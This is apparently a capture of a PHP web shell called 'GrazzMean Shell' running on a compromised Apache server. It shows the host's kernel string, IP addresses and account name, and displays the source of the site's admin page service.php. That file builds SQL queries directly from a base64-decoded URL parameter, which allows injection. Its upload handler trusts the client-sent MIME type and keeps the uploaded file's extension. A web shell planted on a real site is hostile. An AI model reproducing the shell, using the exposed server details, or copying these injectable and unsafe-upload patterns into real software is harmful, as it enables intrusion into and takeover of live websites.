shell bypass 403

GrazzMean Shell

Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : service.php
<?php
spl_autoload_register(function($class) {
   include("classess/".$class.".php");
});

$sqlfun = new sqlfunction();
$admin = new admin_login();

$admin->security_check();
$sid = $admin->call_session();
$getdate =$admin->getdates();
ob_start();
error_reporting(0); 

//submit data
$succ= "";
if(isset($_POST['Submit']))
  {
     $post=$_POST;
     //adhaar card
     $image1_name = $_FILES['image1']['name'];
     $image1_type = $_FILES['image1']['type'];
     $image1_tmp = $_FILES['image1']['tmp_name'];
     $image1_size = $_FILES['image1']['size'];
   
     $image1_ext = pathinfo($image1_name,PATHINFO_EXTENSION);
     $image1_dir = "../image/";
     $image1_url = $image1_dir.time()."image1.".$image1_ext;
     $image1_filename = ltrim($image1_url,"../image/");

  //rc_pic
     $image2_name = $_FILES['image2']['name'];
     $image2_type = $_FILES['image2']['type'];
     $image2_tmp = $_FILES['image2']['tmp_name'];
     $image2_size = $_FILES['image2']['size'];
   
     $image2_ext = pathinfo($image2_name,PATHINFO_EXTENSION);
     $image2_dir = "../image/";
     $image2_url = $image2_dir.time()."image2.".$image2_ext;
     $image2_filename = ltrim($image2_url,"../image/");



      if(($image1_type=="image/jpeg" || $image1_type=="image/jpg"  || $image1_type=="image/png") && ($image2_type == "image/jpeg" || $image2_type == "image/jpg" || $image2_type == "image/png")){
        $data = array(
          "name" =>$_POST['name'],
          "image1" =>$image1_filename,
          "image2" =>$image2_filename,
          "des" =>$_POST['des'],
          "status" => "1"
        );
          $sqlfun->ins_data("service",$data);
              move_uploaded_file($image1_tmp,$image1_url);
              move_uploaded_file($image2_tmp,$image2_url);
         $succ = "<p style = 'color:green; font-size:18px;'>Your Details has been Submitted</p>";
         // header("Refresh:1; url=janak.php");        
      } else {      $imgerr = "Image Type Should be upload only gif,jpeg,jpg,png.";
      } 
  }
//Update data


 if(isset($_POST['Update'])){
  $post = $_POST;
   $filename=$path=$urlid=""; 
    //image1
     $image1_name = $_FILES['image1']['name'];
     $image1_type = $_FILES['image1']['type'];
     $image1_tmp = $_FILES['image1']['tmp_name'];
     $image1_size = $_FILES['image1']['size'];
   
     $image1_ext = pathinfo($image1_name,PATHINFO_EXTENSION);
     $image1_dir = "../image/";
     $image1_url = $image1_dir.time()."image1.".$image1_ext;
     $image1_filename = ltrim($image1_url,"../image/");

  //image2
     $image2_name = $_FILES['image2']['name'];
     $image2_type = $_FILES['image2']['type'];
     $image2_tmp = $_FILES['image2']['tmp_name'];
     $image2_size = $_FILES['image2']['size'];
   
     $image2_ext = pathinfo($image2_name,PATHINFO_EXTENSION);
     $image2_dir = "../image/";
     $image2_url = $image2_dir.time()."image2.".$image2_ext;
     $image2_filename = ltrim($image2_url,"../image/");

 

//decode update_id
  $urlid = base64_decode($_GET['urlid']);

//check file exists or not code
   if($image1_name==""){         
      $cnd = " id='$urlid'";
      $check = $sqlfun->fetchdata("service",$cnd);         
      if($row = $check->fetch(PDO::FETCH_OBJ)){           
           $image1_filename = $row->image1;
      }
      $image1_dir = "../image/".$image1_filename;
   } else {

      // unlink file
      $cnd = " id='$urlid'";
      $check = $sqlfun->fetchdata("service",$cnd);         
      if($row = $check->fetch(PDO::FETCH_OBJ)){           
           $del_filename = $row->image1;
      }
      $del_dir = "../image/".$del_filename;
      if(file_exists($del_dir))
        {
          unlink($del_dir); 
        }
      //end



        $image1_ext = pathinfo($image1_name,PATHINFO_EXTENSION);
        $image1_dir = "../image/";
        $image1_url = $image1_dir.time()."image1.".$image1_ext;          
        $image1_filename = ltrim($image1_url,"../image/");
   } 




   if($image2_name==""){         
      $cnd3 = " id='$urlid'";
      $check3 = $sqlfun->fetchdata("service",$cnd3);         
      if($row3 = $check3->fetch(PDO::FETCH_OBJ)){           
           $image2_filename = $row3->image2;
      }
      $image2_dir = "../image/".$image2_filename;
   } else {


    // unlink file
      $cnd56 = " id='$urlid'";
      $check56 = $sqlfun->fetchdata("service",$cnd56);         
      if($row56 = $check56->fetch(PDO::FETCH_OBJ)){           
           $del_filename2 = $row56->image2;
      }
      $del_dir2 = "../image/".$del_filename2;
      if(file_exists($del_dir2))
        {
          unlink($del_dir2); 
        }
      //end


        $image2_ext = pathinfo($image2_name,PATHINFO_EXTENSION);
        $image2_dir = "../image/";
        $image2_url = $image2_dir.time()."image2.".$image2_ext;          
        $image2_filename = ltrim($image2_url,"../image/");
   }


   $data = array(
          "name" =>$_POST['name'],
          "image1" =>$image1_filename,
          "image2" =>$image2_filename,
          "des" =>$_POST['des'],
      );
        
  $cnd56 = " id='$urlid'";  
  if(($image1_type=="image/jpeg" || $image1_type=="image/jpg"  || $image1_type=="image/png" || $image1_type=="") && ($image2_type == "image/jpeg" || $image2_type == "image/jpg" || $image2_type == "image/png" || $image2_type == "")){ 
             move_uploaded_file($image1_tmp,$image1_url);
              move_uploaded_file($image2_tmp,$image2_url);
      $sqlfun->updated("service",$data,$cnd56);
      $succ = "<p style = 'color:green; font-size:18px;'>Your Details has been Updated Successfully.</p>";
            header("Refresh:1; url=service.php");                       
  } else {
      $imgerr = "Image Type Should be upload only gif,jpeg,jpg,png.";
  }
}
  //Edit data
  $name = $des = "";
   if(isset($_GET['urlid'])){  
            $urlid = base64_decode($_GET['urlid']);
            $cnd = " id='$urlid'";
            $check = $sqlfun->fetchdata("service",$cnd);         
            $btnname = "Update";
            $fontcls = "fa fa-pencil-square-o";         
          if($row = $check->fetch(PDO::FETCH_OBJ)){ 
            $name = $row->name;
            $des = $row->des;
          }
        } else {
                $btnname = "Submit";
                $fontcls = "fa fa-check text-defalut";
        }

?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>PL-Service </title>
  <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  <!-- Bootstrap 3.3.7 -->
  <link rel="stylesheet" href="css/bootstrap.min.css">
  <!-- Font Awesome -->
  <link rel="stylesheet" href="css/font-awesome.min.css">
  <!-- Ionicons -->
  <!--<link rel="stylesheet" href="css/ionicons.min.css">-->
  <!-- Theme style -->
  <link rel="stylesheet" href="css/AdminLTE.min.css">
  <link rel="stylesheet" href="css/_all-skins.min.css">
  <link rel="stylesheet" href="css/style.css">
  <link rel="stylesheet" href="css/dataTables.bootstrap.min.css">
  <link rel="stylesheet" href="css/bootstrap-datepicker.min.css">
  <link rel="stylesheet" type="text/css" href="css/summernote.css">
 <script src="js/jquery.min.js"></script>
<script src="js/jquery-ui.min.js"></script>
<script src="js/bootstrap-datepicker.min.js"></script>
    <script type="text/javascript" src="js/summernote.min.js"></script>
  <!-- Google Font -->
  <link rel="stylesheet"
        href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">

<?php include('header.php');?>
<?php include('sidebar.php');?>


    <!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
     <!-- Content Header (Page header) -->
    <div class="content-header">
      <h1> Services </h1>
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Services</li>
      </ol>
    </div>

    <!-- Main content -->
    <div class="content body">
      <div class="row">
            <div class="col-md-12">
            <div class="box box-danger">

              <div class="box-header with-border">
                <h3 class="box-title">Services</h3>
<a href = "table.php"><button class = "btn btn-info btn-md pull-right" type="button">View Service</button></a>
                <?=$succ?>
              </div><!-- /.box-header -->
              <div class="box-body">
                    <form  method="post"   enctype="multipart/form-data" >
                        <div class="col-md-4">
                              <label>Name</label>
                              <input type="text" name="name" required="" class="form-control" value="<?=$name?>" />
                        </div>
                        <div class="col-md-4">
                              <label>Image 1</label>
                              <input type="file" name="image1"  class="form-control" value="" />
                        </div>

                        <div class="col-md-4">
                              <label>Image 2</label>
                              <input type="file" name="image2"  class="form-control" value="" />
                        </div>
                        
                    <!--     <div class="col-md-4">
                              <label>Status</label>
                               <select class="form-control" name="status">
                                    <option value="active">Active</option>
                                    <option value="inactive">Inactive</option>
                                </select>
                        </div> -->
                        <div class="col-md-12">
                              <label>Description</label>
                              <textarea class="form-control" style="min-height: 250px;" name="des"><?=$des?></textarea>
                        </div>
                        <div class="col-md-6">
                            <label>&nbsp;</label>
                            <div class="clearfix"></div>
                             <input type="submit" name="<?=$btnname?>" class="btn btn-info" value="<?=$btnname?>" />
                        </div>
                      
                    </form>
              </div><!-- /.box-body -->
            </div><!-- /.box -->
          </div><!-- /.col -->
      </div>
    </div>
      <!-- ============================================================= -->  </div><!-- /.content-wrapper -->

  <?php include('footer.php');?>
 

</div><!-- ./wrapper -->

<!-- jQuery 3 -->

<!-- Bootstrap 3.3.7 -->
<script src="js/bootstrap.min.js"></script>
<!-- FastClick -->
<!--<script src="js/fastclick.min.js"></script>-->
<!-- AdminLTE App -->
<!--<script src="js/adminlte.min.js"></script>-->
<!-- SlimScroll -->
<script src="js/jquery.slimscroll.min.js"></script>
<!--<script src="https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js"></script>-->
<!--<script src="js/docs.js"></script>-->
<script src="js/jquery.dataTables.min.js"></script>
<script src="js/dataTables.bootstrap.min.js"></script>
<!-- FastClick -->
<script src="js/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="js/adminlte.min.js"></script>
<!--<script src="js/dashboard2.js"></script>-->
<!--<script src="js/demo.js"></script>-->
<script>
    $(document).ready(function () {
        $('.sidebar-menu').tree();
        $('.datatable').DataTable();
        $('#datatable1').DataTable();
        $('#datatable2').DataTable();
        $('#datatable3').DataTable();
         $('#editor1').summernote({ height: 200  });
//         $('#editor2').summernote({ height: 200  });
    });
     $(document).ready(function () {
        $('#datepicker').datepicker({
           autoclose: true,
           format:'dd-mm-yyyy'
   //        startDate:'1990-20-08',
   //        endDate:'1993-20-08'
       });
        $('#datepicker1').datepicker({  autoclose: true,  format:'dd-mm-yyyy' });
        $('#datepicker2').datepicker({  autoclose: true,  format:'dd-mm-yyyy' });
    });
</script>
</body>
</html>

 
© 2026 GrazzMean